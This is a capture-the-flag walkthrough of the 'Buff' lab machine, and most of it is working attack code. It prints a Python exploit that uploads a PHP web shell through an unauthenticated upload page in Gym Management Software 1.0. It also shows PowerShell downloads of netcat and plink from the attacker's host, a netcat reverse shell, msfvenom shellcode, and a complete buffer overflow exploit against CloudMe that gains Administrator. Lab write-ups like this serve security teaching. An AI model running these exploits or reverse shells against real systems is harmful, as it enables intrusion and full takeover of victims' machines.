Buff

TL;DR

  • Find the CMS’s version on the web server
  • Exploit a CVE on the CMS to get an RCE
  • Exploit a buffer overflow vulnerability on CloudMe to get Administrator access

User.txt

Reconnaissance

Let’s start by a Nmap scan:

magnussen@funcMyLife:~/buff$ nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN buff.txt 10.10.10.198
# Nmap 7.60 scan initiated Wed Aug 26 17:24:22 2020 as: nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN buff.txt buff.htb
Nmap scan report for buff.htb (10.10.10.198)
Host is up, received echo-reply ttl 127 (0.50s latency).
Scanned at 2020-08-26 17:24:23 CEST for 61s
Not shown: 65534 filtered ports
Reason: 65534 no-responses
PORT     STATE SERVICE REASON          VERSION
8080/tcp open  http    syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 26 17:25:24 2020 -- 1 IP address (1 host up) scanned in 62.13 seconds

So we find 1 useful service:

  • Apache (8080)

The website is a gym website:

Website

RCE

On the contact page we find the CMS used for the website: Gym Management Software 1.0.

Website

If we google for vulnerabilities on this CMS, we quickly find this exploit. It seems that the upload.php page, doesn’t check for an authenticated user session and doesn’t properly check the uploaded files.

Let’s try it and see if we can have a shell on the machine.

magnussen@funcMyLife:~/buff$ cat exploit_rce.py
import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def webshell(SERVER_URL, session):
    try:
        WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
        getdir  = {'telepathy': 'echo %CD%'}
        r2 = session.get(WEB_SHELL, params=getdir, verify=False)
        status = r2.status_code
        if status != 200:
            print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL
            r2.raise_for_status()
        print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', r2.text)
        cwd = cwd[0]+"> "
        term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
        while True:
            thought = raw_input(term)
            command = {'telepathy': thought}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            response2 = r2.text
            print(response2)
    except:
        print("\r\nExiting.")
        sys.exit(-1)

def formatHelp(STRING):
    return Style.BRIGHT+Fore.RED+STRING+Fore.RESET

def header():
    BL   = Style.BRIGHT+Fore.GREEN
    RS   = Style.RESET_ALL
    FR   = Fore.RESET
    SIG  = BL+'            /\\\n'+RS
    SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
    SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
    SIG += BL+'            \/'+RS+'\n'
    return SIG

if __name__ == "__main__":
    print header();
    if len(sys.argv) != 2:
        print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
        print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    UPLOAD_DIR = 'upload.php?id=kamehameha'
    UPLOAD_URL = SERVER_URL + UPLOAD_DIR
    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
    png     = {
                'file':
                  (
                    'kaio-ken.php.png',
                    PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>',
                    'image/png',
                    {'Content-Disposition': 'form-data'}
                  )
              }
    fdata   = {'pupload': 'upload'}
    r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
    webshell(SERVER_URL, s)
magnussen@funcMyLife:~/buff$ python rce.py http://buff.htb:8080/
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
buff\shaun

Nice! It worked! Let’s go get that user.txt

C:\xampp\htdocs\gym\upload> dir C:\Users
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users

16/06/2020  20:52    <DIR>          .
16/06/2020  20:52    <DIR>          ..
20/07/2020  12:08    <DIR>          Administrator
16/06/2020  15:08    <DIR>          Public
16/06/2020  15:11    <DIR>          shaun
               0 File(s)              0 bytes
               5 Dir(s)   8,512,995,328 bytes free

C:\xampp\htdocs\gym\upload> dir C:\Users\shaun\Desktop
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Desktop

27/08/2020  00:55    <DIR>          .
27/08/2020  00:55    <DIR>          ..
27/08/2020  00:50               274 BOF.py
27/08/2020  00:55               700 chisel.exe
26/08/2020  23:23                34 user.txt
               3 File(s)          1,008 bytes
               2 Dir(s)   8,515,973,120 bytes free

C:\xampp\htdocs\gym\upload> type C:\Users\shaun\Desktop\user.txt
PNG

6135ec830bfbd6d2ce745f9b15dbfb0b

I AM ROOT

Buffer Overflow

Now that we have a shell, let’s see how we can get an Administrator access.

C:\xampp\htdocs\gym\upload> dir C:\Users\shaun\Documents
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Documents

16/06/2020  22:26    <DIR>          .
16/06/2020  22:26    <DIR>          ..
16/06/2020  22:26                30 Tasks.bat
               1 File(s)             30 bytes
               2 Dir(s)   8,540,160,000 bytes free

C:\xampp\htdocs\gym\upload> dir C:\Users\shaun\Downloads
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020  13:27    <DIR>          .
14/07/2020  13:27    <DIR>          ..
16/06/2020  16:26        17,830,824 CloudMe_1112.exe
               1 File(s)     17,830,824 bytes
               2 Dir(s)   8,540,160,000 bytes free

Ok, so there’s an executable file called CloudMe_1112.exe.

CloudMe Sync is a synchronization application which synchronize your local storage with the cloud storage.

Let’s check if it’s running on its port: 8888.

C:\xampp\htdocs\gym\upload>netstat -ana | findstr 8888

netstat -ana | findstr 8888
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING

If we search for vulnerabilities, we quickly find this exploit.

Here’s a full article on the vulnerability. CloudMe is vulnerable to buffer overflow, we can take control of the SEH records (Structured Exception Handling, it handles exceptions occur in programs which prevents exploitation of buffer overflows) and execute a shellcode.

First of all, let’s start by uploading netcat.

magnussen@funcMyLife:~/buff$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.198 - - [27/Aug/2020 03:02:09] "GET /nc.exe HTTP/1.1" 200 -
C:\xampp\htdocs\gym\upload> powershell -command "& { (New-Object Net.WebClient).DownloadFile('http://10.10.14.143:8000/nc.exe', 'C:\xampp\htdocs\gym\upload\nc.exe') }"

Let’s use netcat as a reverse shell by browsing to http://buff.htb:8080/upload/kamehameha.php?telepathy=nc.exe 10.10.14.143 7777 -e cmd.exe.

magnussen@funcMyLife:~/buff$ nc -lvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from buff.htb 57995 received!
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>

Now, we have to craft our shellcode in order to connect back to our machine.

magnussen@funcMyLife:~/buff$ msfvenom -p windows/exec CMD='c:\xampp\htdocs\gym\upload\nc.exe -e cmd.exe 10.10.14.143 6666' -b '\x00\x0a\x0d' -f py -v payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 274 (iteration=0)
x86/shikata_ga_nai chosen with final size 274
Payload size: 274 bytes
Final size of py file: 1456 bytes
payload =  b""
payload += b"\xda\xda\xd9\x74\x24\xf4\xba\x71\x9b\x97\xf1\x5f"
payload += b"\x2b\xc9\xb1\x3e\x83\xc7\x04\x31\x57\x16\x03\x57"
payload += b"\x16\xe2\x84\x67\x7f\x73\x66\x98\x80\x14\xef\x7d"
payload += b"\xb1\x14\x8b\xf6\xe2\xa4\xd8\x5b\x0f\x4e\x8c\x4f"
payload += b"\x84\x22\x18\x7f\x2d\x88\x7e\x4e\xae\xa1\x42\xd1"
payload += b"\x2c\xb8\x96\x31\x0c\x73\xeb\x30\x49\x6e\x01\x60"
payload += b"\x02\xe4\xb7\x95\x27\xb0\x0b\x1d\x7b\x54\x0b\xc2"
payload += b"\xcc\x57\x3a\x55\x46\x0e\x9c\x57\x8b\x3a\x95\x4f"
payload += b"\xc8\x07\x6c\xfb\x3a\xf3\x6f\x2d\x73\xfc\xc3\x10"
payload += b"\xbb\x0f\x1a\x54\x7c\xf0\x69\xac\x7e\x8d\x69\x6b"
payload += b"\xfc\x49\xfc\x68\xa6\x1a\xa6\x54\x56\xce\x30\x1e"
payload += b"\x54\xbb\x37\x78\x79\x3a\x94\xf2\x85\xb7\x1b\xd5"
payload += b"\x0f\x83\x3f\xf1\x54\x57\x5e\xa0\x30\x36\x5f\xb2"
payload += b"\x9a\xe7\xc5\xb8\x37\xf3\x74\xe3\x5d\x02\x0b\x99"
payload += b"\x10\x04\x13\xa2\x04\x6d\x22\x29\xcb\xea\xbb\xf8"
payload += b"\xaf\x05\xf6\xa1\x86\x8d\x5e\x30\x9b\xd3\x61\xee"
payload += b"\xd8\xed\xe1\x1b\xa1\x09\xf9\x69\xa4\x56\xbe\x82"
payload += b"\xd4\xc7\x2a\xa5\x4b\xe7\x7f\xc6\x51\x4b\x07\x68"
payload += b"\xcb\x03\x87\x36\x7b\x90\x03\xa8\x18\x2b\x97\x51"
payload += b"\xa6\xa6\x7b\xeb\x28\x55\xec\x72\xad\xf9\x9c\x17"
payload += b"\x03\x67\x18\xbd\x7b\x4a\xbd\x1d\x1f\xf9\x59\x70"
payload += b"\xba\x79\xc4\xac\x75\x4a\x28\x9c\x45\x84\x05\xea"
payload += b"\x8b\xe9\x51\x21\xf4\x3f\xaf\x73\xc2\x3f"
magnussen@funcMyLife:~/buff$ cat privesc.py
import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

payload = b"\xb8\x43\x2c\xa2\x9e\xdb\xd8\xd9\x74\x24\xf4\x5a"
payload += b"\x29\xc9\xb1\x3e\x31\x42\x15\x83\xea\xfc\x03\x42"
payload += b"\x11\xe2\xb6\xd0\x4a\x1c\x38\x29\x8b\x41\xb1\xcc"
payload += b"\xba\x41\xa5\x85\xed\x71\xae\xc8\x01\xf9\xe2\xf8"
payload += b"\x92\x8f\x2a\x0e\x12\x25\x0c\x21\xa3\x16\x6c\x20"
payload += b"\x27\x65\xa0\x82\x16\xa6\xb5\xc3\x5f\xdb\x37\x91"
payload += b"\x08\x97\xe5\x06\x3c\xed\x35\xac\x0e\xe3\x3d\x51"
payload += b"\xc6\x02\x6c\xc4\x5c\x5d\xae\xe6\xb1\xd5\xe7\xf0"
payload += b"\xd6\xd0\xbe\x8b\x2d\xae\x41\x5a\x7c\x4f\xed\xa3"
payload += b"\xb0\xa2\xec\xe4\x77\x5d\x9b\x1c\x84\xe0\x9b\xda"
payload += b"\xf6\x3e\x2e\xf9\x51\xb4\x88\x25\x63\x19\x4e\xad"
payload += b"\x6f\xd6\x05\xe9\x73\xe9\xca\x81\x88\x62\xed\x45"
payload += b"\x19\x30\xc9\x41\x41\xe2\x70\xd3\x2f\x45\x8d\x03"
payload += b"\x90\x3a\x2b\x4f\x3d\x2e\x46\x12\x28\xb1\xd5\x28"
payload += b"\x1e\xb1\xe5\x32\x0f\xda\xd4\xb9\xc0\x9d\xe9\x6b"
payload += b"\xa5\x52\xa0\x36\x8c\xfa\x6c\xa3\x8c\x66\x8f\x19"
payload += b"\xd2\x9e\x13\xa8\xab\x64\x0b\xd9\xae\x21\x8c\x31"
payload += b"\xc3\x3a\x78\x36\x70\x3a\xa9\x55\x4c\x98\x29\xfb"
payload += b"\xdd\x50\xb9\xa7\x75\xe5\x5d\x37\xe5\x76\xc1\xa0"
payload += b"\x90\x15\xa5\x5b\x13\x8a\x3a\xc5\xb7\x0e\xaa\x66"
payload += b"\x16\xca\x4a\x0c\x46\x39\xcf\xee\xe5\x2c\x6b\xc1"
payload += b"\x8c\xd6\x16\x3d\x7e\x17\xf6\x0c\xb0\x79\x37\x5b"
payload += b"\x9e\xb4\x03\x90\xfe\x80\x5d\xe0\xc8\xec"


overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))

buf = padding1 + EIP + NOPS + payload + overrun

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(buf)
except Exception as e:
	print(sys.exc_value)

As this is a local exploit and that python isn’t installed on the server, we’ll do some SSH port forwarding to exploit CloudMe. Let’s upload Putty and connect back to our machine.

magnussen@funcMyLife:~/buff$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.198 - - [27/Aug/2020 03:07:11] "GET /plink.exe HTTP/1.1" 200 -
C:\xampp\htdocs\gym\upload> powershell -command "& { (New-Object Net.WebClient).DownloadFile('http://10.10.14.143:8000/plink.exe', 'C:\xampp\htdocs\gym\upload\plink.exe') }"
C:\xampp\htdocs\gym\upload> plink.exe -v -x -a -T -C -noagent -ssh -R 8888:127.0.0.1:8888 magnussen@10.10.14.143

By forwarding through the port 8888, when we’ll use the exploit on our machine with python it will be forwarded on the Windows machine and exploit the buffer overflow vulnerability on CloudMe.

Now that we’re all set, we just have to listen on port 6666 and execute the exploit on our machine.

magnussen@funcMyLife:~/buff$ python privesc.py
magnussen@funcMyLife:~/buff$ nc -lvp 6666
nc -lvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from buff.htb 49691 received!

C:\Windows\system32>whoami
buff\administrator
C:\Windows\system32>cd C:\Users\Administrator\Desktop
CC:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\Administrator\Desktop

18/07/2020  17:36    <DIR>          .
18/07/2020  17:36    <DIR>          ..
16/06/2020  16:41             1,417 Microsoft Edge.lnk
26/08/2020  22:16                34 root.txt
               2 File(s)          1,451 bytes
               2 Dir(s)   7,303,262,208 bytes free

C:\Users\Administrator\Desktop>type root.txt
0b1260ec354796dcb0fb8e1897f76ae1

Yeah! We’re Administrator!

This was a fun box, the foothold was pretty simple but the privilege escalation was very interesting and I’ve learned a lot, thanks Egotisticalsw for the box!